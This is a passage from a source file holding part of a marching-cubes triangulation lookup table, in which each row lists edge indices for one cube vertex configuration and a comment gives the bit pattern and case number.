-1, -1}, // 0001 0110; v 1,2,4 (case 6) {2, 10, 9, 2, 9, 7, 2, 7, 3, 7, 9, 4, -1, -1, -1, -1}, // 0001 0111; v 0,1,2,4 (case 14) {8, 4, 7, 3, 11, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0001 1000; v 3,4 (case 3) {11, 4, 7, 11, 2, 4, 2, 0, 4, -1, -1, -1, -1, -1, -1, -1}, // 0001 1001; v 0,3,4 (case 5) {9, 0, 1, 8, 4, 7, 2, 3, 11, -1, -1, -1, -1, -1, -1, -1}, // 0001 1010; v 1,3,4 (case 7) {4, 7, 11, 9, 4, 11, 9, 11, 2, 9, 2, 1, -1, -1, -1, -1}, // 0001 1011; v 0,1,3,4 (case 9) {3, 10, 1, 3, 11, 10, 7, 8, 4, -1, -1, -1, -1, -1, -1, -1}, // 0001 1100; v 2,3,4 (case 6) {1, 11, 10, 1, 4, 11, 1, 0, 4, 7, 11, 4, -1, -1, -1, -1}, // 0001 1101; v 0,2,3,4 (case 11) {4, 7, 8, 9, 0, 11, 9, 11, 10, 11, 0, 3, -1, -1, -1, -1}, // 0001 1110; v 1,2,3,4 (case 12) {4, 7, 11, 4, 11, 9, 9, 11, 10, -1, -1, -1, -1, -1, -1, -1}, // 0001 1111; v -5.-6,-7(case -5) {9, 5, 4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0010 0000; v 5 (case 1) {9, 5, 4, 0, 8, 3, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0010 0001; v 0,5 (case 3) {0, 5, 4, 1, 5, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0010 0010; v 1,5 (case 2) {8, 5, 4, 8, 3, 5, 3, 1, 5, -1, -1, -1, -1, -1, -1, -1}, // 0010 0011; v 0,1,5 (case 5) {1, 2, 10, 9, 5, 4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0010 0100; v 2,5 (case 3) {3, 0, 8, 1, 2, 10, 4, 9, 5, -1, -1, -1, -1, -1, -1, -1}, // 0010 0101; v 0,2,5 (case 7) {5, 2, 10, 5, 4, 2, 4, 0, 2, -1, -1, -1, -1, -1, -1, -1}, // 0010 0110; v 1,2,5 (case 5) {2, 10, 5, 3, 2, 5, 3, 5, 4, 3, 4, 8, -1, -1, -1, -1}, // 0010 0111; v 0,1,2,5 (case 9) {9, 5, 4, 2, 3, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0010 1000; v 3,5 (case 4) {0, 11, 2, 0, 8, 11, 4, 9, 5, -1, -1, -1, -1, -1, -1, -1}, // 0010 1001; v 0,3,5 (case 6) {0, 5, 4, 0, 1, 5, 2, 3, 11, -1, -1, -1, -1, -1, -1, -1}, // 0010 1010; v 1,3,5 (case 6) {2, 1, 5, 2, 5, 8, 2, 8, 11, 4, 8, 5, -1, -1, -1, -1}, // 0010 1011; v 0,1,3,5 (case 11) {10, 3, 11, 10, 1, 3, 9, 5, 4, -1, -1, -1, -1, -1, -1, -1}, // 0010 1100; v 2,3,5 (case 6) {4, 9, 5, 0, 8, 1, 8, 10, 1, 8, 11, 10, -1, -1, -1, -1}, // 0010 1101; v 0,2,3,5 (case 12) {5, 4, 0, 5, 0, 11, 5, 11, 10, 11, 0, 3, -1, -1, -1, -1}, // 0010 1110; v 1,2,3,5 (case 14) {5, 4, 8, 5, 8, 10, 10, 8, 11, -1, -1, -1, -1, -1, -1, -1}, // 0010 1111; v -4,-6,-7(case -5) {9, 7, 8, 5, 7, 9, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0011 0000; v 4,5 (case 2) {9, 3, 0, 9, 5, 3, 5, 7, 3, -1, -1, -1, -1, -1, -1, -1}, // 0011 0001; v 0,4,5 (case 5) {0, 7, 8, 0, 1, 7, 1, 5, 7, -1, -1, -1, -1, -1, -1, -1}, // 0011 0010; v 1,4,5 (case 5) {1, 5, 3, 3, 5, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0011 0011; v 0,1,4,5 (case 8) {9, 7, 8, 9, 5, 7, 10, 1, 2, -1, -1, -1, -1, -1, -1, -1}, // 0011 0100; v 2,4,5 (case 6) {10, 1, 2, 9, 5, 0, 5, 3, 0, 5, 7, 3, -1, -1, -1, -1}, // 0011 0101; v 0,2,4,5 (case 12) {8, 0, 2, 8, 2, 5, 8, 5, 7, 10, 5, 2, -1, -1, -1, -1}, // 0011 0110; v 1,2,4,5 (case 11) {2, 10, 5, 2, 5, 3, 3, 5, 7, -1, -1, -1, -1, -1, -1, -1}, // 0011 0111; v -3,-6.-7(case -5) {7, 9, 5, 7, 8, 9, 3, 11, 2, -1, -1, -1, -1, -1, -1, -1}, // 0011 1000; v 3,4,5 (case 6) {9, 5, 7, 9, 7, 2, 9, 2, 0, 2, 7, 11, -1, -1, -1, -1}, // 0011 1001; v 0,3,4,5 (case 14) {2, 3, 11, 0, 1, 8, 1, 7, 8, 1, 5, 7, -1, -1, -1, -1}, // 0011 1010; v 1,3,4,5 (case 12) {11, 2, 1, 11, 1, 7, 7, 1, 5, -1, -1, -1, -1, -1, -1, -1}, // 0011 1011; v -2,-6,-7(case -5) {9, 5, 8, 8, 5, 7, 10, 1, 3, 10, 3, 11, -1, -1, -1, -1}, // 0011 1100; v 2,3,4,5 (case 10) //{5, 7, 0, 5, 0, 9, 7, 11, 0, 1, 0, 10, 11, 10, 0, -1}, // 0011 1101; v -1,-6.-7(case -6) {9, 1, 0, 5, 7, 10, 7, 11, 10, -1, -1, -1, -1, -1, -1, -1}, // 0011 1101; v -1,-6.-7(case -6) //{11, 10, 0, 11, 0, 3, 10, 5, 0, 8, 0, 7, 5, 7, 0, -1}, // 0011 1110; v -0,-6.-7(case -6) {0, 3, 8, 5, 7, 10, 7, 11, 10, -1, -1, -1, -1, -1, -1, -1}, // 0011 1110; v -0,-6.-7(case -6) {11, 10, 5, 7, 11, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0011 1111; v -6,-7 (case -2) // starting from here: only negative cases are checked {10, 6, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0100 0000; v 6 (case 1) {0, 8, 3, 5, 10, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0100 0001; v 0,6 (case 4) {9, 0, 1, 5, 10, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0100 0010; v 1,6 (case 3) {1, 8, 3, 1, 9, 8, 5, 10, 6, -1, -1, -1, -1, -1, -1, -1}, // 0100 0011; v 0,1,6 (case 6) {1, 6, 5, 2, 6, 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0100 0100; v 2,6 (case 2) {1, 6, 5, 1, 2, 6, 3, 0, 8, -1, -1, -1, -1, -1, -1, -1}, // 0100 0101; v 0,2,6 (case 6) {9, 6, 5, 9, 0, 6, 0, 2, 6, -1, -1, -1, -1, -1, -1, -1}, // 0100 0110; v 1,2,6 (case 5) {5, 9, 8, 5, 8, 2, 5, 2, 6, 3, 2, 8, -1, -1, -1, -1}, // 0100 0111; v 0,1,2,6 (case 11) {2, 3, 11, 10, 6, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0100 1000; v 3,6 (case 3) {11, 0, 8, 11, 2, 0, 10, 6, 5, -1, -1, -1, -1, -1, -1, -1}, // 0100 1001; v 0,3,6 (case 6) {0, 1, 9, 2, 3, 11, 5, 10, 6, -1, -1, -1, -1, -1, -1, -1}, // 0100 1010; v 1,3,6 (case 7) {5, 10, 6, 1, 9, 2, 9, 11, 2, 9, 8, 11, -1, -1, -1, -1}, // 0100 1011; v 0,1,3,6 (case 12) {6, 3, 11, 6, 5, 3, 5, 1, 3, -1, -1, -1, -1, -1, -1, -1}, // 0100 1100; v 2,3,6 (case 5) {0, 8, 11, 0, 11, 5, 0, 5, 1, 5, 11, 6, -1, -1, -1, -1}, // 0100 1101; v 0,2,3,6 (case 14) {3, 11, 6, 0, 3, 6, 0, 6, 5, 0, 5, 9, -1, -1, -1, -1}, // 0100 1110; v 1,2,3,6 (case 9) {6, 5, 9, 6, 9, 11, 11, 9, 8, -1, -1, -1, -1, -1, -1, -1}, // 0100 1111; v -4,-5,-7(case -5) {5, 10, 6, 4, 7, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0101 0000; v 4,6 (case 3) {4, 3, 0, 4, 7, 3, 6, 5, 10, -1, -1, -1, -1, -1, -1, -1}, // 0101 0001; v 0,4,6 (case 6) {1, 9, 0, 5, 10, 6, 8, 4, 7, -1, -1, -1, -1, -1, -1, -1}, // 0101 0010; v 1,4,6 (case 7) {10, 6, 5, 1, 9, 7, 1, 7, 3, 7, 9, 4, -1, -1, -1, -1}, // 0101 0011; v 0,1,4,6 (case 12) {6, 1, 2, 6, 5, 1, 4, 7, 8, -1, -1, -1, -1, -1, -1, -1}, // 0101 0100; v 2,4,6 (case 6) {1, 2, 5, 5, 2, 6, 3, 0, 4, 3, 4, 7, -1, -1, -1, -1}, // 0101 0101; v 0,2,4,6 (case 10) {8, 4, 7, 9, 0, 5, 0, 6, 5, 0, 2, 6, -1, -1, -1, -1}, // 0101 0110; v 1,2,4,6 (case 12) //{7, 3, 9, 7, 9, 4, 3, 2, 9, 5, 9, 6, 2, 6, 9, -1}, // 0101 0111; v -3,-5,-7(case -6) {9, 4, 5, 6, 3, 2, 6, 7, 3, -1, -1, -1, -1, -1, -1, -1}, // 0101 0111; v -3,-5,-7(case -6) {3, 11, 2, 7, 8, 4, 10, 6, 5, -1, -1, -1, -1, -1, -1, -1}, // 0101 1000; v 3,4,6 (case 7) {5, 10, 6, 4, 7, 2, 4, 2, 0, 2, 7, 11, -1, -1, -1, -1}, // 0101 1001; v 0,3,4,6 (case 12) {0, 1, 9, 4, 7, 8, 2, 3, 11, 5, 10, 6, -1, -1, -1, -1}, // 0101 1010; v 1,3,4,6 (case 13) //{9, 2, 1, 9, 11, 2, 9, 4, 11, 7, 11, 4, 5, 10, 6, -1}, // 0101 1011; v -2,-5,-7(case -7) {1, 10, 2, 6, 7, 11, 9, 4, 5, -1, -1, -1, -1, -1, -1, -1}, // 0101 1011; v -2,-5,-7(case -7) {8, 4, 7, 3, 11, 5, 3, 5, 1, 5, 11, 6, -1, -1, -1, -1}, // 0101 1100; v 2,3,4,6 (case 12) //{5, 1, 11, 5, 11, 6, 1, 0, 11, 7, 11, 4, 0, 4, 11, -1}, // 0101 1101; v -1,-5,-7(case -6) {6, 7, 11, 0, 4, 5, 1, 0, 5, -1, -1, -1, -1, -1, -1, -1}, // 0101 1101; v -1,-5,-7(case -6) //{0, 5, 9, 0, 6, 5, 0, 3, 6, 11, 6, 3, 8, 4, 7, -1}, // 0101 1110; v -0,-5,-7(case -7) {4, 5, 9, 6, 7, 11, 0, 3, 8, -1, -1, -1, -1, -1, -1, -1}, // 0101 1110; v -0,-5,-7(case -7) //{6, 5, 9, 6, 9, 11, 4, 7, 9, 7, 11, 9, -1, -1, -1, -1}, // 0101 1111; v -5,-7 (case -3) {4, 5, 9, 6, 7, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0101 1111; v -5,-7 (case -3) {10, 4, 9, 6, 4, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0110 0000; v 5,6 (case 2) {4, 10, 6, 4, 9, 10, 0, 8, 3, -1, -1, -1, -1, -1, -1, -1}, // 0110 0001; v 0,5,6 (case 6) {10, 0, 1, 10, 6, 0, 6, 4, 0, -1, -1, -1, -1, -1, -1, -1}, // 0110 0010; v 1,5,6 (case 5) {8, 3, 1, 8, 1, 6, 8, 6, 4, 6, 1, 10, -1, -1, -1, -1}, // 0110 0011; v 0,1,5,6 (case 14) {1, 4, 9, 1, 2, 4, 2, 6, 4, -1, -1, -1, -1, -1, -1, -1}, // 0110 0100; v 2,5,6 (case 5) {3, 0, 8, 1, 2, 9, 2, 4, 9, 2, 6, 4, -1, -1, -1, -1}, // 0110 0101; v 0,2,5,6 (case 12) {0, 2, 4, 4, 2, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0110 0110; v 1,2,5,6 (case 8) {8, 3, 2, 8, 2, 4, 4, 2, 6, -1, -1, -1, -1, -1, -1, -1}, // 0110 0111; v -3,-4,-7(case -5) {10, 4, 9, 10, 6, 4, 11, 2, 3, -1, -1, -1, -1, -1, -1, -1}, // 0110 1000; v 3,5,6 (case 6) {0, 8, 2, 2, 8, 11, 4, 9, 10, 4, 10, 6, -1, -1, -1, -1}, // 0110 1001; v 0,3,5,6 (case 10) {3, 11, 2, 0, 1, 6, 0, 6, 4, 6, 1, 10, -1, -1, -1, -1}, // 0110 1010; v 1,3,5,6 (case 12) //{6, 4, 1, 6, 1, 10, 4, 8, 1, 2, 1, 11, 8, 11, 1, -1}, // 0110 1011; v -2,-4,-7(case -6) {10, 2, 1, 4, 8, 11, 4, 11, 6, -1, -1, -1, -1, -1, -1, -1}, // 0110 1011; v -2,-4,-7(case -6) {9, 6, 4, 9, 3, 6, 9, 1, 3, 11, 6, 3, -1, -1, -1, -1}, // 0110 1100; v 2,3,5,6 (case 11) //{8, 11, 1, 8, 1, 0, 11, 6, 1, 9, 1, 4, 6, 4, 1, -1}, // 0110 1101; v -1,-4,-7(case -6) {0, 9, 1, 4, 8, 11, 4, 11, 6, -1, -1, -1, -1, -1, -1, -1}, // 0110 1101; v -1,-4,-7(case -6) {3, 11, 6, 3, 6, 0, 0, 6, 4, -1, -1, -1, -1, -1, -1, -1}, // 0110 1110; v -0,-4,-7(case -5) {6, 4, 8, 11, 6, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0110 1111; v -4,-7 (case -2) {7, 10, 6, 7, 8, 10, 8, 9, 10, -1, -1, -1, -1, -1, -1, -1}, // 0111 0000; v 4,5,6 (case 5) {0, 7, 3, 0, 10, 7, 0, 9, 10, 6, 7, 10, -1, -1, -1, -1}, // 0111 0001; v 0,4,5,6 (case 11) {10, 6, 7, 1, 10, 7, 1, 7, 8, 1, 8, 0, -1, -1, -1, -1}, // 0111 0010; v 1,4,5,6 (case 9) {10, 6, 7, 10, 7, 1, 1, 7, 3, -1, -1, -1, -1, -1, -1, -1}, // 0111 0011; v -2,-3,-7(case -5) {1, 2, 6, 1, 6, 8, 1, 8, 9, 8, 6, 7, -1, -1, -1, -1}, // 0111 0100; v 2,4,5,6 (case 14) //{2, 6, 9, 2, 9, 1, 6, 7, 9, 0, 9, 3, 7, 3, 9, -1}, // 0111 0101; v -1,-3,-7(case -6) {0, 9, 1, 6, 3, 2, 6, 7, 3, -1, -1, -1, -1, -1, -1, -1}, // 0111 0101; v -1,-3,-7(case -6) {7, 8, 0, 7, 0, 6, 6, 0, 2, -1, -1, -1, -1, -1, -1, -1}, // 0111 0110; v -0,-3,-7(case -5) {7, 3, 2, 6, 7, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0111 0111; v -3,-7 (case -2) {2, 3, 11, 10, 6, 8, 10, 8, 9, 8, 6, 7, -1, -1, -1, -1}, // 0111 1000; v 3,4,5,6 (case 12) //{2, 0, 7, 2, 7, 11, 0, 9, 7, 6, 7, 10, 9, 10, 7, -1}, // 0111 1001; v -1,-2,-7(case -6) {6, 7, 11, 2, 9, 10, 2, 0, 9, -1, -1, -1, -1, -1, -1, -1}, // 0111 1001; v -1,-2,-7(case -6) //{1, 8, 0, 1, 7, 8, 1, 10, 7, 6, 7, 10, 2, 3, 11, -1}, // 0111 1010; v -0,-2,-7(case -7) {3, 8, 0, 1, 10, 2, 6, 7, 11, -1, -1, -1, -1, -1, -1, -1}, // 0111 1010; v -0,-2,-7(case -7) //{11, 2, 1, 11, 1, 7, 10, 6, 1, 6, 7, 1, -1, -1, -1, -1}, // 0111 1011; v -2,-7 (case -3) {1, 10, 2, 6, 7, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0111 1011; v -2,-7 (case -3) //{8, 9, 6, 8, 6, 7, 9, 1, 6, 11, 6, 3, 1, 3, 6, -1}, // 0111 1100; v -0,-1,-7(case -6) {6, 7, 11, 3, 8, 9, 1, 3, 9, -1, -1, -1, -1, -1, -1, -1}, // 0111 1100; v -0,-1,-7(case -6) {0, 9, 1, 11, 6, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0111 1101; v -1,-7 (case -4) //{7, 8, 0, 7, 0, 6, 3, 11, 0, 11, 6, 0, -1, -1, -1, -1}, // 0111 1110; v -0,-7 (case -3) {3, 8, 0, 6, 7, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0111 1110; v -0,-7 (case -3) {7, 11, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0111 1111; v -7 (case -1) {7, 6, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1000 0000; v 7 (case 1) {3, 0, 8, 11, 7, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1000 0001; v 0,7 (case 3) {0, 1, 9, 11, 7, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1000 0010; v 1,7 (case 4) {8, 1, 9, 8, 3, 1, 11, 7, 6, -1, -1, -1, -1, -1, -1, -1}, // 1000 0011; v 0,1,7 (case 6) {10, 1, 2, 6, 11, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1000 0100; v 2,7 (case 3) {1, 2, 10, 3, 0, 8, 6, 11, 7, -1, -1, -1, -1, -1, -1, -1}, // 1000 0101; v 0,2,7 (case 7) {2, 9, 0, 2, 10, 9, 6, 11, 7, -1, -1, -1, -1, -1, -1, -1}, // 1000 0110; v 1,2,7 (case 6) {6, 11, 7, 2, 10, 3, 10, 8, 3, 10, 9, 8, -1, -1, -1, -1}, // 1000 0111; v 0,1,2,7 (case 12) {7, 2, 3, 6, 2, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1000 1000; v 3,7 (case 2) {7, 0, 8, 7, 6, 0, 6, 2, 0, -1, -1, -1, -1, -1, -1, -1}, // 1000 1001; v 0,3,7 (case 5) {2, 7, 6, 2, 3, 7, 0, 1, 9, -1, -1, -1, -1, -1, -1, -1}, // 1000 1010; v 1,3,7 (case 6) {1, 6, 2, 1, 8, 6, 1, 9, 8, 8, 7, 6, -1, -1, -1, -1}, // 1000 1011; v 0,1,3,7 (case 14) {10, 7, 6, 10, 1, 7, 1, 3, 7, -1, -1, -1, -1, -1, -1, -1}, // 1000 1100; v 2,3,7 (case 5) {10, 7, 6, 1, 7, 10, 1, 8, 7, 1, 0, 8, -1, -1, -1, -1}, // 1000 1101; v 0,2,3,7 (case 9) {0, 3, 7, 0, 7, 10, 0, 10, 9, 6, 10, 7, -1, -1, -1, -1}, // 1000 1110; v 1,2,3,7 (case 11) {7, 6, 10, 7, 10, 8, 8, 10, 9, -1, -1, -1, -1, -1, -1, -1}, // 1000 1111; v -4,-5,-6(case -5) {6, 8, 4, 11, 8, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1001 0000; v 4,7 (case 2) {3, 6, 11, 3, 0, 6, 0, 4, 6, -1, -1, -1, -1, -1, -1, -1}, // 1001 0001; v 0,4,7 (case 5) {8, 6, 11, 8, 4, 6, 9, 0, 1, -1, -1, -1, -1, -1, -1, -1}, // 1001 0010; v 1,4,7 (case 6) {9, 4, 6, 9, 6, 3, 9, 3, 1, 11, 3, 6, -1, -1, -1, -1}, // 1001 0011; v 0,1,4,7 (case 11) {6, 8, 4, 6, 11, 8, 2, 10, 1, -1, -1, -1, -1, -1, -1, -1}, // 1001 0100; v 2,4,7 (case 6) {1, 2, 10, 3, 0, 11, 0, 6, 11, 0, 4, 6, -1, -1, -1, -1}, // 1001 0101; v 0,2,4,7 (case 12) {4, 11, 8, 4, 6, 11, 0, 2, 9, 2, 10, 9, -1, -1, -1, -1}, // 1001 0110; v 1,2,4,7 (case 10) //{10, 9, 3, 10, 3, 2, 9, 4, 3, 11, 3, 6, 4, 6, 3, -1}, // 1001 0111; v -3,-5,-6(case -6) {11, 3, 2, 4, 6, 10, 4, 10, 9, -1, -1, -1, -1, -1, -1, -1}, // 1001 0111; v -3,-5,-6(case -6) {8, 2, 3, 8, 4, 2, 4, 6, 2, -1, -1, -1, -1, -1, -1, -1}, // 1001 1000; v 3,4,7 (case 5) {0, 4, 2, 4, 6, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1001 1001; v 0,3,4,7 (case 8) {1, 9, 0, 2, 3, 4, 2, 4, 6, 4, 3, 8, -1, -1, -1, -1}, // 1001 1010; v 1,3,4,7 (case 12) {1, 9, 4, 1, 4, 2, 2, 4, 6, -1, -1, -1, -1, -1, -1, -1}, // 1001 1011; v -2,-5,-6(case -5) {8, 1, 3, 8, 6, 1, 8, 4, 6, 6, 10, 1, -1, -1, -1, -1}, // 1001 1100; v 2,3,4,7 (case 14) {10, 1, 0, 10, 0, 6, 6, 0, 4, -1, -1, -1, -1, -1, -1, -1}, // 1001 1101; v -1,-5,-6(case -5) //{4, 6, 3, 4, 3, 8, 6, 10, 3, 0, 3, 9, 10, 9, 3, -1}, // 1001 1110; v -0,-5,-6(case -6) {3, 8, 0, 4, 6, 10, 4, 10, 9, -1, -1, -1, -1, -1, -1, -1}, // 1001 1110; v -0,-5,-6(case -6) {10, 9, 4, 6, 10, 4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1001 1111; v -5,-6 (case -2) {4, 9, 5, 7, 6, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1010 0000; v 5,7 (case 3) {0, 8, 3, 4, 9, 5, 11, 7, 6, -1, -1, -1, -1, -1, -1, -1}, // 1010 0001; v 0,5,7 (case 7) {5, 0, 1, 5, 4, 0, 7, 6, 11, -1, -1, -1, -1, -1, -1, -1}, // 1010 0010; v 1,5,7 (case 6) {11, 7, 6, 8, 3, 4, 3, 5, 4, 3, 1, 5, -1, -1, -1, -1}, // 1010 0011; v 0.1.5.7 (case 12) {9, 5, 4, 10, 1, 2, 7, 6, 11, -1, -1, -1, -1, -1, -1, -1}, // 1010 0100; v 2,5,7 (case 7) {6, 11, 7, 1, 2, 10, 0, 8, 3, 4, 9, 5, -1, -1, -1, -1}, // 1010 0101; v 0,2,5,7 (case 13) {7, 6, 11, 5, 4, 10, 4, 2, 10, 4, 0, 2, -1, -1, -1, -1}, // 1010 0110; v 1,2,5,7 (case 12) //{3, 4, 8, 3, 5, 4, 3, 2, 5, 10, 5, 2, 11, 7, 6, -1}, // 1010 0111; v -3,-4,-6(case -7) {11, 3, 2, 8, 7, 4, 5, 6, 10, -1, -1, -1, -1, -1, -1, -1}, // 1010 0111; v -3,-4,-6(case -7) {7, 2, 3, 7, 6, 2, 5, 4, 9, -1, -1, -1, -1, -1, -1, -1}, // 1010 1000; v 3,5,7 (case 6) {9, 5, 4, 0, 8, 6, 0, 6, 2, 6, 8, 7, -1, -1, -1, -1}, // 1010 1001; v 0,3,5,7 (case 12) {3, 6, 2, 3, 7, 6, 1, 5, 0, 5, 4, 0, -1, -1, -1, -1}, // 1010 1010; v 1,3,5,7 (case 10) //{6, 2, 8, 6, 8, 7, 2, 1, 8, 4, 8, 5, 1, 5, 8, -1}, // 1010 1011; v -2,-4,-6(case -6) {8, 7, 4, 5, 6, 2, 5, 2, 1, -1, -1, -1, -1, -1, -1, -1}, // 1010 1011; v -2,-4,-6(case -6) {9, 5, 4, 10, 1, 6, 1, 7, 6, 1, 3, 7, -1, -1, -1, -1}, // 1010 1100; v 2,3,5,7 (case 12) //{1, 6, 10, 1, 7, 6, 1, 0, 7, 8, 7, 0, 9, 5, 4, -1}, // 1010 1101; v -1,-4,-6(case -7) {0, 9, 1, 8, 7, 4, 5, 6, 10, -1, -1, -1, -1, -1, -1, -1}, // 1010 1101; v -1,-4,-6(case -7) //{4, 0, 10, 4, 10, 5, 0, 3, 10, 6, 10, 7, 3, 7, 10, -1}, // 1010 1110; v -0,-4,-6(case -6) {5, 6, 10, 3, 7, 4, 0, 3, 4, -1, -1, -1, -1, -1, -1, -1}, // 1010 1110; v -0,-4,-6(case -6) //{7, 6, 10, 7, 10, 8, 5, 4, 10, 4, 8, 10, -1, -1, -1, -1}, // 1010 1111; v -4,-6 (case -3) {8, 7, 4, 5, 6, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1010 1111; v -4,-6 (case -3) {6, 9, 5, 6, 11, 9, 11, 8, 9, -1, -1, -1, -1, -1, -1, -1}, // 1011 0000; v 4,5,7 (case 5) {3, 6, 11, 0, 6, 3, 0, 5, 6, 0, 9, 5, -1, -1, -1, -1}, // 1011 0001; v 0,4,5,7 (case 9) {0, 11, 8, 0, 5, 11, 0, 1, 5, 5, 6, 11, -1, -1, -1, -1}, // 1011 0010; v 1,4,5,7 (case 14) {6, 11, 3, 6, 3, 5, 5, 3, 1, -1, -1, -1, -1, -1, -1, -1}, // 1011 0011; v -2,-3,-6(case -5) {1, 2, 10, 9, 5, 11, 9, 11, 8, 11, 5, 6, -1, -1, -1, -1}, // 1011 0100; v 2,4,5,7 (case 12) //{0, 11, 3, 0, 6, 11, 0, 9, 6, 5, 6, 9, 1, 2, 10, -1}, // 1011 0101; v -1,-3,-6(case -7) {0, 9, 1, 3, 11, 2, 5, 6, 10, -1, -1, -1, -1, -1, -1, -1}, // 1011 0101; v -1,-3,-6(case -7) //{11, 8, 5, 11, 5, 6, 8, 0, 5, 10, 5, 2, 0, 2, 5, -1}, // 1011 0110; v -0,-3,-6(case -6) {5, 6, 10, 2, 11, 8, 2, 8, 0, -1, -1, -1, -1, -1, -1, -1}, // 1011 0110; v -0,-3,-6(case -6) //{6, 11, 3, 6, 3, 5, 2, 10, 3, 10, 5, 3, -1, -1, -1, -1}, // 1011 0111; v -3,-6 (case -3) {11, 3, 2, 5, 6, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1011 0111; v -3,-6 (case -3) {5, 8, 9, 5, 2, 8, 5, 6, 2, 3, 8, 2, -1, -1, -1, -1}, // 1011 1000; v 3,4,5,7 (case 11) {9, 5, 6, 9, 6, 0, 0, 6, 2, -1, -1, -1, -1, -1, -1, -1}, // 1011 1001; v -1,-2,-6(case -5) //{1, 5, 8, 1, 8, 0, 5, 6, 8, 3, 8, 2, 6, 2, 8, -1}, // 1011 1010; v -0,-2,-6(case -6) {3, 8, 0, 5, 6, 2, 5, 2, 1, -1, -1, -1, -1, -1, -1, -1}, // 1011 1010; v -0,-2,-6(case -6) {1, 5, 6, 2, 1, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1011 1011; v -2,-6 (case -2) //{1, 3, 6, 1, 6, 10, 3, 8, 6, 5, 6, 9, 8, 9, 6, -1}, // 1011 1100; v -0,-1,-6(case -6) {5, 6, 10, 3, 8, 9, 1, 3, 9, -1, -1, -1, -1, -1, -1, -1}, // 1011 1100; v -0,-1,-6(case -6) //{10, 1, 0, 10, 0, 6, 9, 5, 0, 5, 6, 0, -1, -1, -1, -1}, // 1011 1101; v -1,-6 (case -3) {0, 9, 1, 5, 6, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1011 1101; v -1,-6 (case -3) {0, 3, 8, 5, 6, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1011 1110; v -0,-6 (case -4) {10, 5, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1011 1111; v -6 (case -1) {11, 5, 10, 7, 5, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1100 0000; v 6,7 (case 2) {11, 5, 10, 11, 7, 5, 8, 3, 0, -1, -1, -1, -1, -1, -1, -1}, // 1100 0001; v 0,6,7 (case 6) {5, 11, 7, 5, 10, 11, 1, 9, 0, -1, -1, -1, -1, -1, -1, -1}, // 1100 0010; v 1,6,7 (case 6) {10, 7, 5, 10, 11, 7, 9, 8, 1, 8, 3, 1, -1, -1, -1, -1}, // 1100 0011; v 0,1,6,7 (case 10) {11, 1, 2, 11, 7, 1, 7, 5, 1, -1, -1, -1, -1, -1, -1, -1}, // 1100 0100; v 2,6,7 (case 5) {0, 8, 3, 1, 2, 7, 1, 7, 5, 7, 2, 11, -1, -1, -1, -1}, // 1100 0101; v 0,2,6,7 (case 12) {9, 7, 5, 9, 2, 7, 9, 0, 2, 2, 11, 7, -1, -1, -1, -1}, // 1100 0110; v 1,2,6,7 (case 14) //{7, 5, 2, 7, 2, 11, 5, 9, 2, 3, 2, 8, 9, 8, 2, -1}, // 1100 0111; v -3,-4,-5(case -6) {11, 3, 2, 8, 7, 9, 9, 7, 5, -1, -1, -1, -1, -1, -1, -1}, // 1100 0111; v -3,-4,-5(case -6) {2, 5, 10, 2, 3, 5, 3, 7, 5, -1, -1, -1, -1, -1, -1, -1}, // 1100 1000; v 3,6,7 (case 5) {8, 2, 0, 8, 5, 2, 8, 7, 5, 10, 2, 5, -1, -1, -1, -1}, // 1100 1001; v 0,3,6,7 (case 11) {9, 0, 1, 5, 10, 3, 5, 3, 7, 3, 10, 2, -1, -1, -1, -1}, // 1100 1010; v 1,3,6,7 (case 12) //{9, 8, 2, 9, 2, 1, 8, 7, 2, 10, 2, 5, 7, 5, 2, -1}, // 1100 1011; v -2,-4,-5(case -6) {1, 10, 2, 8, 7, 5, 9, 8, 5, -1, -1, -1, -1, -1, -1, -1}, // 1100 1011; v -2,-4,-5(case -6) {1, 3, 5, 3, 7, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1100 